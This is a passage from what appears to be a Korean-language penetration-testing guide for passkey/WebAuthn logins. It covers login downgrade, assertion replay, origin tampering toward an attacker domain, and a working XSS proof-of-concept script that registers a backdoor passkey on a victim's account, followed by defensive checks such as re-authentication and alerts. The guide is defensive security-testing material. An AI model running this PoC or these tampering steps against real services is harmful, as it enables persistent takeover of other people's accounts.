?method=password,?login_type=legacy)를 조작하여 강제로 비밀번호 로그인 페이지로 리다이렉트가 가능한지 시도합니다. - 프론트엔드 코드(JS/HTML)를 조작하여 숨겨진 비밀번호 입력 필드를 활성화하고 로그인을 시도합니다.
- 취약점 판단: 패스키가 등록된 사용자임에도 불구하고 별다른 제약 없이 ID/PW 기반 로그인으로 다운그레이드가 가능하다면, 이는 크리덴셜 스터핑이나 전통적인 피싱 공격에 여전히 노출되어 있음을 의미합니다.
케이스 2: WebAuthn 플로우 조작 (Replay & Origin)
서버가 클라이언트로부터 받은 서명 데이터를 제대로 검증하지 않는 경우를 탐지합니다.
Assertion 리플레이
- 테스트 방법: 정상적인 WebAuthn 로그인 요청을 캡처한 뒤, 다른 세션이나 다른 시간대에 동일한 요청을 재전송(Replay)합니다.
- 취약점 판단: 서버가
challenge의 일회성 여부나signCount(카운터)를 검증하지 않고 인증을 허용한다면 심각한 취약점입니다.
Origin 및 RP ID 변조
- 테스트 방법:
- 인증 요청 내
response.clientDataJSON값을 Base64 디코딩합니다. - JSON 내
origin값을 공격자 도메인(예:https://evil.example.com) 등으로 수정합니다. - 다시 Base64 인코딩하여 요청을 전송합니다.
- 인증 요청 내
- 취약점 판단: 서버가 조작된 Origin을 허용한다면, 패스키의 핵심 보안 기능인 도메인 바인딩(피싱 저항성)이 제대로 구현되지 않은 것입니다.
케이스 3: 세션 탈취를 통한 백도어 패스키 등록
공격자가 XSS나 세션 하이재킹을 통해 피해자의 유효한 세션을 획득했을 때, 공격자의 디바이스를 ‘새로운 패스키’로 등록하여 영구적인 접근 권한을 얻는 시나리오입니다.
세션 하이재킹 기반 등록
- 테스트 방법: 피해자의 세션 쿠키를 탈취하여 공격자의 브라우저에 주입합니다. 이후 ‘패스키 관리’ 페이지에 접근하여 공격자의 디바이스를 신규 패스키로 등록을 시도합니다.
- 취약점 판단: 패스키 등록 시 비밀번호 재입력이나 기존 패스키 인증과 같은 추가 인증(Re-authentication) 절차 없이 등록이 완료된다면 취약한 것으로 간주합니다.
XSS 기반 자동 등록 PoC
XSS 취약점이 존재하고 해당 도메인에서 WebAuthn API 호출이 가능하다면, 피해자의 상호작용을 최소화하거나 속여서 공격자의 패스키를 등록하게 만들 수 있습니다.
다음은 XSS 상황에서 WebAuthn 등록 플로우를 트리거하는 개념 증명(PoC) 코드입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// XSS PoC: 패스키 등록 플로우 자동 트리거
(async () => {
try {
// 1. 서버로부터 WebAuthn 등록 옵션 요청
// 실제 엔드포인트와 파라미터는 대상 서비스에 맞춰 수정 필요
const optionsRes = await fetch('/webauthn/register/options', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ /* 필요 시 사용자 식별자 등 포함 */ })
});
if (!optionsRes.ok) return;
let publicKey = await optionsRes.json();
// 2. Base64URL을 ArrayBuffer로 변환하는 유틸리티 함수
const b64urlToArrayBuffer = (b64url) => {
const pad = '='.repeat((4 - b64url.length % 4) % 4);
const b64 = (b64url + pad).replace(/-/g, '+').replace(/_/g, '/');
const raw = atob(b64);
const buffer = new ArrayBuffer(raw.length);
const view = new Uint8Array(buffer);
for (let i = 0; i < raw.length; ++i) {
view[i] = raw.charCodeAt(i);
}
return buffer;
};
// Challenge와 ID 변환
publicKey.challenge = b64urlToArrayBuffer(publicKey.challenge);
if (publicKey.user && publicKey.user.id) {
publicKey.user.id = b64urlToArrayBuffer(publicKey.user.id);
}
// 3. 브라우저 WebAuthn API 호출 (사용자에게 등록 팝업 표시)
// 공격자는 사회 공학적 기법으로 클릭을 유도하거나, UI를 덮어씌울 수 있음
const credential = await navigator.credentials.create({ publicKey });
// 4. 생성된 Credential을 서버로 전송하여 등록 완료
const credentialToJSON = (cred) => {
const abToB64url = (buf) => {
const bytes = new Uint8Array(buf);
let str = '';
for (let i = 0; i < bytes.length; ++i) {
str += String.fromCharCode(bytes[i]);
}
return btoa(str).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
};
return {
id: cred.id,
rawId: abToB64url(cred.rawId),
type: cred.type,
response: {
attestationObject: abToB64url(cred.response.attestationObject),
clientDataJSON: abToB64url(cred.response.clientDataJSON)
}
};
};
await fetch('/webauthn/register/finish', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(credentialToJSON(credential))
});
console.log("Backdoor Passkey Registered");
} catch (e) {
console.error("Registration failed or cancelled", e);
}
})();
이 코드는 navigator.credentials.create()를 호출하여 브라우저의 패스키 등록 창을 띄웁니다. 만약 서버가 등록 단계에서 CSRF 토큰을 검증하지 않거나 재인증을 요구하지 않는다면, 이 요청은 성공적으로 처리되어 공격자의 접근 통로가 생성됩니다.
케이스 4: 세션 관리 및 권한 검증
패스키 도입과 무관하게 기본적인 웹 보안 원칙은 준수되어야 합니다.
- 세션 쿠키 설정:
Secure,HttpOnly,SameSite속성이 적절히 설정되어 있는지 확인합니다. - CSRF 방어: 패스키 등록 및 삭제 요청에 CSRF 토큰 검증이 필수적으로 적용되어야 합니다.
- 재인증 강제: 패스키 등록, 삭제, 계정 복구 설정 변경과 같은 고위험 작업 시에는 반드시 현재 사용자의 자격 증명(패스키 또는 비밀번호)을 다시 요구해야 합니다.
케이스 5: 로깅 및 모니터링 체계
기술적인 방어막을 뚫렸을 때를 대비한 탐지 체계를 점검합니다.
- 알림 발송: 새로운 패스키가 등록되었을 때, 등록된 이메일이나 앱 푸시를 통해 사용자에게 즉시 알림이 가는지 확인합니다.
- 보안 로그: 패스키 등록 시 IP 주소, User-Agent, 디바이스 정보, 시간 등이 상세히 로깅되는지 확인합니다.
- 이상 징후 탐지: 단시간 내에 여러 개의 패스키가 등록되거나, 이질적인 위치에서 등록 시도가 발생할 때 차단 또는 경고가 발생하는지 테스트합니다.
패스키 환경에서의 펜테스트는 암호학적 공격이 아닌, 인증 프로세스의 허점을 파고드는 논리적 공격에 집중해야 합니다. 특히 “백도어 패스키 등록”은 계정 탈취의 지속성을 보장하는 강력한 공격 벡터이므로, 이에 대한 방어 로직(재인증, 알림)을 최우선으로 검증해야 합니다.